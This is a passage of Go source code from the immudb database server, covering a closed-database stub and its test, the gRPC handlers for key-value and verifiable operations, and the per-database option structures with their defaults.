DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } ================================================ FILE: pkg/server/db_dummy_closed_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "crypto/sha256" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" ) func TestDummyClosedDatabase(t *testing.T) { cdb := &closedDB{name: "closeddb1", opts: database.DefaultOptions()} require.Equal(t, "data/closeddb1", cdb.Path()) cdb.AsReplica(false, false, 0) require.Equal(t, cdb.name, cdb.GetName()) require.Equal(t, cdb.opts, cdb.GetOptions()) require.False(t, cdb.IsReplica()) require.Equal(t, 1000, cdb.MaxResultSize()) err := cdb.UseTimeFunc(nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) waitingCount, _ := cdb.Health() require.Equal(t, 0, waitingCount) _, err = cdb.CurrentState() require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.TxCount() require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.Set(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableSet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.Get(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableGet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.GetAll(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.Delete(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.SetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableSetReference(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.Scan(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.History(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ExecAll(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.Count(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.CountAll(context.Background()) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ZAdd(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableZAdd(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ZScan(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.NewSQLTx(nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, _, err = cdb.SQLExec(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, _, err = cdb.SQLExecPrepared(context.Background(), nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.InferParameters(context.Background(), nil, "") require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.InferParametersPrepared(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.SQLQuery(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.SQLQueryAll(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.SQLQueryPrepared(context.Background(), nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableSQLGet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ListTables(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.DescribeTable(context.Background(), nil, "") require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.WaitForTx(context.Background(), 0, true) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.WaitForIndexingUpto(context.Background(), 0) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.TxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) require.False(t, cdb.IsSyncReplicationEnabled()) cdb.SetSyncReplication(true) _, _, _, err = cdb.ExportTxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ReplicateTx(context.Background(), nil, false, false) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.AllowCommitUpto(1, sha256.Sum256(nil)) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.DiscardPrecommittedTxsSince(1) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableTxByID(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.TxScan(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.FlushIndex(nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.CompactIndex() require.ErrorIs(t, err, store.ErrAlreadyClosed) require.True(t, cdb.IsClosed()) err = cdb.Truncate(0) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.CreateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.GetCollection(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.GetCollections(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.UpdateCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.DeleteCollection(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.AddField(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.RemoveField(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.CreateIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.DeleteIndex(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.InsertDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ReplaceDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.AuditDocument(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.SearchDocuments(context.Background(), nil, 0) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.CountDocuments(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.ProofDocument(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.DeleteDocuments(context.Background(), "admin", nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.Close() require.ErrorIs(t, err, store.ErrAlreadyClosed) } ================================================ FILE: pkg/server/db_operations.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "time" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" ) func unixMilli(t time.Time) int64 { return t.Unix()*1e3 + int64(t.Nanosecond())/1e6 } func (s *ImmuServer) DatabaseHealth(ctx context.Context, _ *empty.Empty) (*schema.DatabaseHealthResponse, error) { db, err := s.getDBFromCtx(ctx, "DatabaseHealth") if err != nil { return nil, err } waitingRequests, lastReleaseAt := db.Health() return &schema.DatabaseHealthResponse{ PendingRequests: uint32(waitingRequests), LastRequestCompletedAt: unixMilli(lastReleaseAt), }, nil } // CurrentState ... func (s *ImmuServer) CurrentState(ctx context.Context, _ *empty.Empty) (*schema.ImmutableState, error) { db, err := s.getDBFromCtx(ctx, "CurrentState") if err != nil { return nil, err } state, err := db.CurrentState() if err != nil { return nil, err } state.Db = db.GetName() if s.StateSigner != nil { err = s.StateSigner.Sign(state) if err != nil { return nil, err } } return state, nil } // Set ... func (s *ImmuServer) Set(ctx context.Context, kv *schema.SetRequest) (*schema.TxHeader, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "Set") if err != nil { return nil, err } return db.Set(ctx, kv) } // VerifiableSet ... func (s *ImmuServer) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "VerifiableSet") if err != nil { return nil, err } vtx, err := db.VerifiableSet(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } vtx.Signature = newState.Signature } return vtx, nil } // Get ... func (s *ImmuServer) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) { db, err := s.getDBFromCtx(ctx, "Get") if err != nil { return nil, err } return db.Get(ctx, req) } // VerifiableGet ... func (s *ImmuServer) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { db, err := s.getDBFromCtx(ctx, "VerifiableGet") if err != nil { return nil, err } vEntry, err := db.VerifiableGet(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } vEntry.VerifiableTx.Signature = newState.Signature } return vEntry, nil } // Scan ... func (s *ImmuServer) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) { db, err := s.getDBFromCtx(ctx, "Scan") if err != nil { return nil, err } return db.Scan(ctx, req) } // Count ... func (s *ImmuServer) Count(ctx context.Context, req *schema.KeyPrefix) (*schema.EntryCount, error) { db, err := s.getDBFromCtx(ctx, "Scan") if err != nil { return nil, err } return db.Count(ctx, req) } // CountAll ... func (s *ImmuServer) CountAll(ctx context.Context, _ *empty.Empty) (*schema.EntryCount, error) { db, err := s.getDBFromCtx(ctx, "Scan") if err != nil { return nil, err } return db.CountAll(ctx) } // TxByID ... func (s *ImmuServer) TxById(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { db, err := s.getDBFromCtx(ctx, "TxByID") if err != nil { return nil, err } return db.TxByID(ctx, req) } // VerifiableTxByID ... func (s *ImmuServer) VerifiableTxById(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { db, err := s.getDBFromCtx(ctx, "VerifiableTxByID") if err != nil { return nil, err } vtx, err := db.VerifiableTxByID(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } vtx.Signature = newState.Signature } return vtx, nil } // TxScan ... func (s *ImmuServer) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { db, err := s.getDBFromCtx(ctx, "TxScan") if err != nil { return nil, err } return db.TxScan(ctx, req) } // History ... func (s *ImmuServer) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { db, err := s.getDBFromCtx(ctx, "History") if err != nil { return nil, err } return db.History(ctx, req) } // SetReference ... func (s *ImmuServer) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "SetReference") if err != nil { return nil, err } return db.SetReference(ctx, req) } // VerifibleSetReference ... func (s *ImmuServer) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "VerifiableSetReference") if err != nil { return nil, err } vtx, err := db.VerifiableSetReference(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } vtx.Signature = newState.Signature } return vtx, nil } // ZAdd ... func (s *ImmuServer) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "ZAdd") if err != nil { return nil, err } return db.ZAdd(ctx, req) } // ZScan ... func (s *ImmuServer) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) { db, err := s.getDBFromCtx(ctx, "ZScan") if err != nil { return nil, err } return db.ZScan(ctx, req) } // VerifiableZAdd ... func (s *ImmuServer) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "VerifiableZAdd") if err != nil { return nil, err } vtx, err := db.VerifiableZAdd(ctx, req) if err != nil { return nil, err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return nil, err } vtx.Signature = newState.Signature } return vtx, nil } func (s *ImmuServer) FlushIndex(ctx context.Context, req *schema.FlushIndexRequest) (*schema.FlushIndexResponse, error) { db, err := s.getDBFromCtx(ctx, "FlushIndex") if err != nil { return nil, err } err = db.FlushIndex(req) return &schema.FlushIndexResponse{ Database: db.GetName(), }, err } func (s *ImmuServer) CompactIndex(ctx context.Context, _ *empty.Empty) (*empty.Empty, error) { db, err := s.getDBFromCtx(ctx, "CompactIndex") if err != nil { return nil, err } err = db.CompactIndex() return &empty.Empty{}, err } // GetAll ... func (s *ImmuServer) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { if req == nil { return nil, store.ErrIllegalArguments } db, err := s.getDBFromCtx(ctx, "GetAll") if err != nil { return nil, err } return db.GetAll(ctx, req) } func (s *ImmuServer) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { if req == nil { return nil, store.ErrIllegalArguments } db, err := s.getDBFromCtx(ctx, "Delete") if err != nil { return nil, err } return db.Delete(ctx, req) } func (s *ImmuServer) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(ctx, "ExecAll") if err != nil { return nil, err } return db.ExecAll(ctx, req) } ================================================ FILE: pkg/server/db_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "encoding/json" "errors" "fmt" "time" "github.com/codenotary/immudb/embedded/ahtree" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" ) type Milliseconds int64 type dbOptions struct { Database string `json:"database"` synced bool // currently a global immudb instance option SyncFrequency Milliseconds `json:"syncFrequency"` // ms // replication options (field names must be kept for backwards compatibility) Replica bool `json:"replica"` SyncReplication bool `json:"syncReplication"` PrimaryDatabase string `json:"masterDatabase"` PrimaryHost string `json:"masterAddress"` PrimaryPort int `json:"masterPort"` PrimaryUsername string `json:"followerUsername"` PrimaryPassword string `json:"followerPassword"` SyncAcks int `json:"syncAcks"` PrefetchTxBufferSize int `json:"prefetchTxBufferSize"` ReplicationCommitConcurrency int `json:"replicationCommitConcurrency"` AllowTxDiscarding bool `json:"allowTxDiscarding"` SkipIntegrityCheck bool `json:"skipIntegrityCheck"` WaitForIndexing bool `json:"waitForIndexing"` // store options EmbeddedValues bool `json:"embeddedValues"` // permanent PreallocFiles bool `json:"preallocFiles"` // permanent FileSize int `json:"fileSize"` // permanent MaxKeyLen int `json:"maxKeyLen"` // permanent MaxValueLen int `json:"maxValueLen"` // permanent MaxTxEntries int `json:"maxTxEntries"` // permanent ExcludeCommitTime bool `json:"excludeCommitTime"` MaxActiveTransactions int `json:"maxActiveTransactions"` MVCCReadSetLimit int `json:"mvccReadSetLimit"` MaxConcurrency int `json:"maxConcurrency"` MaxIOConcurrency int `json:"maxIOConcurrency"` WriteBufferSize int `json:"writeBufferSize"` TxLogCacheSize int `json:"txLogCacheSize"` VLogCacheSize int `json:"vLogCacheSize"` VLogMaxOpenedFiles int `json:"vLogMaxOpenedFiles"` TxLogMaxOpenedFiles int `json:"txLogMaxOpenedFiles"` CommitLogMaxOpenedFiles int `json:"commitLogMaxOpenedFiles"` WriteTxHeaderVersion int `json:"writeTxHeaderVersion"` ReadTxPoolSize int `json:"readTxPoolSize"` IndexOptions *indexOptions `json:"indexOptions"` AHTOptions *ahtOptions `json:"ahtOptions"` Autoload featureState `json:"autoload"` // unspecfied is considered as enabled for backward compatibility CreatedBy string `json:"createdBy"` CreatedAt time.Time `json:"createdAt"` UpdatedBy string `json:"updatedBy"` UpdatedAt time.Time `json:"updatedAt"` RetentionPeriod Milliseconds `json:"retentionPeriod"` TruncationFrequency Milliseconds `json:"truncationFrequency"` // ms } type featureState int const ( unspecifiedState featureState = 0 enabledState featureState = 1 disabledState featureState = 2 ) func (fs featureState) isEnabled() bool { return fs == unspecifiedState || fs == enabledState } type indexOptions struct { FlushThreshold int `json:"flushThreshold"` SyncThreshold int `json:"syncThreshold"` FlushBufferSize int `json:"flushBufferSize"` CleanupPercentage float32 `json:"cleanupPercentage"` CacheSize int `json:"cacheSize"` MaxNodeSize int `json:"maxNodeSize"` // permanent MaxActiveSnapshots int `json:"maxActiveSnapshots"` RenewSnapRootAfter int64 `json:"renewSnapRootAfter"` // ms CompactionThld int `json:"compactionThld"` DelayDuringCompaction int64 `json:"delayDuringCompaction"` // ms NodesLogMaxOpenedFiles int `json:"nodesLogMaxOpenedFiles"` HistoryLogMaxOpenedFiles int `json:"historyLogMaxOpenedFiles"` CommitLogMaxOpenedFiles int `json:"commitLogMaxOpenedFiles"` MaxBulkSize int `json:"maxBulkSize"` BulkPreparationTimeout Milliseconds `json:"bulkPreparationTimeout"` // ms } type ahtOptions struct { SyncThreshold int `json:"syncThreshold"` WriteBufferSize int `json:"writeBufferSize"` } const ( DefaultMaxValueLen = 1 << 25 //32Mb DefaultStoreFileSize = 1 << 29 //512Mb ) func (s *ImmuServer) defaultDBOptions(dbName, userName string) *dbOptions { dbOpts := &dbOptions{ Database: dbName, synced: s.Options.synced, SyncFrequency: Milliseconds(store.DefaultSyncFrequency.Milliseconds()), EmbeddedValues: store.DefaultEmbeddedValues, PreallocFiles: store.DefaultPreallocFiles, FileSize: DefaultStoreFileSize, MaxKeyLen: store.DefaultMaxKeyLen, MaxValueLen: DefaultMaxValueLen, MaxTxEntries: store.DefaultMaxTxEntries, ExcludeCommitTime: false, MaxActiveTransactions: store.DefaultMaxActiveTransactions, MVCCReadSetLimit: store.DefaultMVCCReadSetLimit, MaxConcurrency: store.DefaultMaxConcurrency, MaxIOConcurrency: store.DefaultMaxIOConcurrency, WriteBufferSize: store.DefaultWriteBufferSize, TxLogCacheSize: store.DefaultTxLogCacheSize, VLogCacheSize: store.DefaultVLogCacheSize, VLogMaxOpenedFiles: store.DefaultVLogMaxOpenedFiles, TxLogMaxOpenedFiles: store.DefaultTxLogMaxOpenedFiles, CommitLogMaxOpenedFiles: store.DefaultCommitLogMaxOpenedFiles, WriteTxHeaderVersion: store.DefaultWriteTxHeaderVersion, ReadTxPoolSize: database.DefaultReadTxPoolSize, IndexOptions: s.defaultIndexOptions(), AHTOptions: s.defaultAHTOptions(), Autoload: unspecifiedState, CreatedAt: time.Now(), CreatedBy: userName, TruncationFrequency: Milliseconds(database.DefaultTruncationFrequency.Milliseconds()), } if dbName == s.Options.systemAdminDBName || dbName == s.Options.defaultDBName { repOpts := s.Options.ReplicationOptions dbOpts.Replica = repOpts != nil && repOpts.IsReplica dbOpts.SyncReplication = repOpts.SyncReplication if dbOpts.Replica { dbOpts.PrimaryDatabase = dbOpts.Database // replica of systemdb and defaultdb must have the same name as in primary dbOpts.PrimaryHost = repOpts.PrimaryHost dbOpts.PrimaryPort = repOpts.PrimaryPort dbOpts.PrimaryUsername = repOpts.PrimaryUsername dbOpts.PrimaryPassword = repOpts.PrimaryPassword dbOpts.PrefetchTxBufferSize = repOpts.PrefetchTxBufferSize dbOpts.ReplicationCommitConcurrency = repOpts.ReplicationCommitConcurrency dbOpts.AllowTxDiscarding = repOpts.AllowTxDiscarding dbOpts.SkipIntegrityCheck = repOpts.SkipIntegrityCheck } else { dbOpts.SyncAcks = repOpts.SyncAcks } } return dbOpts } func (s *ImmuServer) defaultIndexOptions() *indexOptions { return &indexOptions{ FlushThreshold: tbtree.DefaultFlushThld, SyncThreshold: tbtree.DefaultSyncThld, FlushBufferSize: tbtree.DefaultFlushBufferSize, CleanupPercentage: tbtree.DefaultCleanUpPercentage, CacheSize: tbtree.DefaultCacheSize, MaxNodeSize: tbtree.DefaultMaxNodeSize, MaxActiveSnapshots: tbtree.DefaultMaxActiveSnapshots, RenewSnapRootAfter: tbtree.DefaultRenewSnapRootAfter.Milliseconds(), CompactionThld: tbtree.DefaultCompactionThld, DelayDuringCompaction: tbtree.DefaultDelayDuringCompaction.Milliseconds(), NodesLogMaxOpenedFiles: tbtree.DefaultNodesLogMaxOpenedFiles, HistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles, CommitLogMaxOpenedFiles: tbtree.DefaultCommitLogMaxOpenedFiles, MaxBulkSize: store.DefaultIndexingMaxBulkSize, BulkPreparationTimeout: Milliseconds(store.DefaultBulkPreparationTimeout.Milliseconds()), } } func (s *ImmuServer) defaultAHTOptions() *ahtOptions { return &ahtOptions{ SyncThreshold: ahtree.DefaultSyncThld, WriteBufferSize: ahtree.DefaultWriteBufferSize, } } func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { return database.DefaultOptions(). WithDBRootPath(s.Options.Dir). WithStoreOptions(s.storeOptionsForDB(opts.Database, s.remoteStorage, opts.storeOptions())). AsReplica(opts.Replica). WithSyncReplication(opts.SyncReplication). WithSyncAcks(opts.SyncAcks). WithReadTxPoolSize(opts.ReadTxPoolSize). WithRetentionPeriod(time.Millisecond * time.Duration(opts.RetentionPeriod)). WithTruncationFrequency(time.Millisecond * time.Duration(opts.TruncationFrequency)). WithMaxResultSize(s.Options.MaxResultSize) } func (opts *dbOptions) storeOptions() *store.Options { indexOpts := store.DefaultIndexOptions() if opts.IndexOptions != nil { indexOpts. WithFlushThld(opts.IndexOptions.FlushThreshold). WithSyncThld(opts.IndexOptions.SyncThreshold). WithFlushBufferSize(opts.IndexOptions.FlushBufferSize). WithCleanupPercentage(opts.IndexOptions.CleanupPercentage). WithCacheSize(opts.IndexOptions.CacheSize). WithMaxNodeSize(opts.IndexOptions.MaxNodeSize). WithMaxActiveSnapshots(opts.IndexOptions.MaxActiveSnapshots). WithRenewSnapRootAfter(time.Millisecond * time.Duration(opts.IndexOptions.RenewSnapRootAfter)). WithCompactionThld(opts.IndexOptions.CompactionThld). WithDelayDuringCompaction(time.Millisecond * time.Duration(opts.IndexOptions.DelayDuringCompaction)). WithNodesLogMaxOpenedFiles(opts.IndexOptions.NodesLogMaxOpenedFiles). WithHistoryLogMaxOpenedFiles(opts.IndexOptions.HistoryLogMaxOpenedFiles). WithCommitLogMaxOpenedFiles(opts.IndexOptions.CommitLogMaxOpenedFiles). WithMaxBulkSize(opts.IndexOptions.MaxBulkSize). WithBulkPreparationTimeout(time.Millisecond * time.Duration(opts.IndexOptions.BulkPreparationTimeout)) } ahtOpts := store.DefaultAHTOptions() if opts.AHTOptions != nil { ahtOpts.WithSyncThld(opts.AHTOptions.SyncThreshold) ahtOpts.WithWriteBufferSize(opts.AHTOptions.WriteBufferSize) } stOpts := store.DefaultOptions(). WithEmbeddedValues(opts.EmbeddedValues). WithPreallocFiles(opts.PreallocFiles). WithSynced(opts.synced). WithSyncFrequency(time.Millisecond * time.Duration(opts.SyncFrequency)). WithFileSize(opts.FileSize). WithMaxKeyLen(opts.MaxKeyLen). WithMaxValueLen(opts.MaxValueLen). WithMaxTxEntries(opts.MaxTxEntries). WithWriteTxHeaderVersion(opts.WriteTxHeaderVersion). WithMaxActiveTransactions(opts.MaxActiveTransactions). WithMVCCReadSetLimit(opts.MVCCReadSetLimit). WithMaxConcurrency(opts.MaxConcurrency). WithMaxIOConcurrency(opts.MaxIOConcurrency). WithWriteBufferSize(opts.WriteBufferSize). WithTxLogCacheSize(opts.TxLogCacheSize). WithVLogCacheSize(opts.VLogCacheSize). WithVLogMaxOpenedFiles(opts.VLogMaxOpenedFiles). WithTxLogMaxOpenedFiles(opts.TxLogMaxOpenedFiles). WithCommitLogMaxOpenedFiles(opts.CommitLogMaxOpenedFiles). WithIndexOptions(indexOpts). WithAHTOptions(ahtOpts) if opts.ExcludeCommitTime { stOpts.WithTimeFunc(func() time.Time { return time.Unix(0, 0) }) } else { stOpts.WithTimeFunc(func() time.Time { return time.Now() }) } return stOpts } func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettings { return &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: opts.Replica}, SyncReplication: &schema.NullableBool{Value: opts.SyncReplication}, PrimaryDatabase: &schema.NullableString{Value: opts.PrimaryDatabase}, PrimaryHost: &schema.NullableString{Value: opts.PrimaryHost}, PrimaryPort: &schema.NullableUint32{Value: uint32(opts.PrimaryPort)}, PrimaryUsername: &schema.NullableString{Value: opts.PrimaryUsername}, PrimaryPassword: &schema.NullableString{Value: opts.PrimaryPassword}, SyncAcks: &schema.NullableUint32{Value: uint32(opts.SyncAcks)}, PrefetchTxBufferSize: &schema.NullableUint32{Value: uint32(opts.PrefetchTxBufferSize)}, ReplicationCommitConcurrency: &schema.NullableUint32{Value: uint32(opts.ReplicationCommitConcurrency)}, AllowTxDiscarding: &schema.NullableBool{Value: opts.AllowTxDiscarding}, SkipIntegrityCheck: &schema.NullableBool{Value: opts.SkipIntegrityCheck}, WaitForIndexing: &schema.NullableBool{Value: opts.WaitForIndexing}, }, SyncFrequency: &schema.NullableMilliseconds{Value: int64(opts.SyncFrequency)}, FileSize: &schema.NullableUint32{Value: uint32(opts.FileSize)}, MaxKeyLen: &schema.NullableUint32{Value: uint32(opts.MaxKeyLen)}, MaxValueLen: &schema.NullableUint32{Value: uint32(opts.MaxValueLen)}, MaxTxEntries: &schema.NullableUint32{Value: uint32(opts.MaxTxEntries)}, EmbeddedValues: &schema.NullableBool{Value: opts.EmbeddedValues}, PreallocFiles: &schema.NullableBool{Value: opts.PreallocFiles}, ExcludeCommitTime: &schema.NullableBool{Value: opts.ExcludeCommitTime}, MaxActiveTransactions: &schema.NullableUint32{Value: uint32(opts.MaxActiveTransactions)}, MvccReadSetLimit: &schema.NullableUint32{Value: uint32(opts.MVCCReadSetLimit)}, MaxConcurrency: &schema.NullableUint32{Value: uint32(opts.MaxConcurrency)}, MaxIOConcurrency: &schema.NullableUint32{Value: uint32(opts.MaxIOConcurrency)}, WriteBufferSize: &schema.NullableUint32{Value: uint32(opts.WriteBufferSize)}, TxLogCacheSize: &schema.NullableUint32{Value: uint32(opts.TxLogCacheSize)}, VLogCacheSize: &schema.NullableUint32{Value: uint32(opts.VLogCacheSize)}, VLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.VLogMaxOpenedFiles)}, TxLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.TxLogMaxOpenedFiles)}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.CommitLogMaxOpenedFiles)}, IndexSettings: &schema.IndexNullableSettings{ FlushThreshold: &schema.NullableUint32{Value: uint32(opts.IndexOptions.FlushThreshold)}, SyncThreshold: &schema.NullableUint32{Value: uint32(opts.IndexOptions.SyncThreshold)}, FlushBufferSize: &schema.NullableUint32{Value: uint32(opts.IndexOptions.FlushBufferSize)}, CleanupPercentage: &schema.NullableFloat{Value: opts.IndexOptions.CleanupPercentage}, 